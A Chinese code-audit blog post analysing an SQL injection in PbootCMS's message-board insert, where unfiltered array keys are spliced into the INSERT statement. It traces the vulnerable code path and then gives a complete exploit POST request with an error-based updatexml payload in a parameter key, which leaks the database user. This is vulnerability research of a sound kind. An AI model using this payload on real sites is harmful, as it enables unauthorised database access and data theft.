[代码审计] PbootCms 留言Insert SQL注入漏洞分析

admin 2021年5月13日20:48:53评论338 views1字数 2410阅读8分2秒阅读模式

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


一、Cms初识:

PbootCMS是全新内核且永久开源免费的PHP企业网站开发建设管理系统,是一套高效、简洁、 强悍的可免费商用的PHP CMS源码,能够满足各类企业网站开发建设的需要。系统采用简单到想哭的模板标签,只要懂HTML就可快速开发企业网站。官方提供了大量网站模板免费下载和使用,将致力于为广大开发者和企业提供最佳的网站开发建设解决方案。


-目录结构:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析



二、漏洞简介:

程序对传入的参数,如果为数组,对数组的key值没有进行任何的过滤和类型限制,导致直接拼接到SQL语句中执行,造成SQL注入漏洞



三、漏洞分析过程:

1、首先分析一下程序接收参数的方式、底层的过滤机制:

corefunctionhelper.php中定义了get、post等接收参数的函数,最终都经过了filter()函数进行处理:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


跟进filter()函数,代码很多,先不看

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


看到最终还会交给escape_string()函数处理:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


跟进escape_string()函数,可以看到对参数进行过滤,但是这里注意,只过滤了value值,替换了一下敏感字符、html实例化、转义等处理,但是key值没有做任何处理的,所以可以在key值处下功夫:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


ok,底层接收参数,以及大概的过滤机制都了解清楚了,步入今天的正题:

定位到控制器方法:appshomecontrollerMessageController.php中的add()方法

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


这里就是连表查询数据表的信息,获取表单字段:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


数据表内容如下:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


[代码审计] PbootCms 留言Insert SQL注入漏洞分析


然后通过遍历,赋值给$data变量:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


这里打印一下$value的值:其实就是表单提交的字段值:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


然后调用addMessage()函数进行添加:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


跟进addMessage()函数:appshomemodelParserModel.php

[代码审计] PbootCms 留言Insert SQL注入漏洞分析

继续跟进insert()函数:appshomemodelParserModel.php

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


可以看到这里用foreach遍历$data,然后对键值一一拼接上一对``反引号,然后对value值拼接上一对''单引号:

`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


继续往下看,这里判断如果接收到$key_string,给对象属性sql,添加一个field键,值是上面的键值再拼接一对():

(`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`)

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


然后跟进buildSql()方法,是用来生成sql语句的:

传入的参数为$this->insertMultSql:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


这里使用正则匹配两个%中间的数据,然后遍历匹配结果,将对应value的关键字进行替换,拼接成完整的sql语句然后返回,比如:field,就会将%field%替换成$this->sql['field']

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


接着往下看:getDb()是判断用的是什么数据库类型,然后再调用amd()方法:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析

跟进amd()方法:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


又调用了query()方法,跟进:

这里会调用mysqli原生的query()方法进行查询:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


如果执行失败会输出报错信息

[代码审计] PbootCms 留言Insert SQL注入漏洞分析

可以看到整个过程因为接收参数只对值进行过滤,却忽略了键,而方法中又对键中的数据进行sql语句的拼接,导致可以改变键为sql注入的payload,同时输出了mysql报错信息,从而可以进行报错注入。



四、漏洞利用:

1、安装步骤:默认的话,直接将源码解压到网站目录即可访问

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


2、更改默认数据库类型,程序默认使用的是sqlite,将其改为mysql:

将staticbackupsql目录下的sql文件导入数据库即可

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


3、改一下database.php文件的内容:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析

再次访问网站即可:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


4、在线留言功能处:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


随便输入,然后用burp抓包,将contacts的键值改为注入payload:

post数据包:

POST /index.php/Message/add HTTP/1.1Host: www.pbootcms.testUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://www.pbootcms.test/index.php/about/10Cookie: PbootSystem=jc5so9k8kqlsla3jetjf85f800;user=1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 208
contacts[content`,`create_time`,`update_time`)+VALUES ('1', '1' ,1+and+updatexml(1,concat(0x3a,user()),1) );--+a]=1111&mobile=111&content=111&checkcode=3953


然后发包,就会输出报错信息,注入出数据库用户名:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析


为了方便测试,可以将验证码验证的代码先注释掉:

[代码审计] PbootCms 留言Insert SQL注入漏洞分析



点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

[代码审计] PbootCms 留言Insert SQL注入漏洞分析

本文始发于微信公众号(哈拉少安全小队):[代码审计] PbootCms 留言Insert SQL注入漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月13日20:48:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [代码审计] PbootCms 留言Insert SQL注入漏洞分析http://cn-sec.com/archives/258814.html

发表评论

匿名网友 填写信息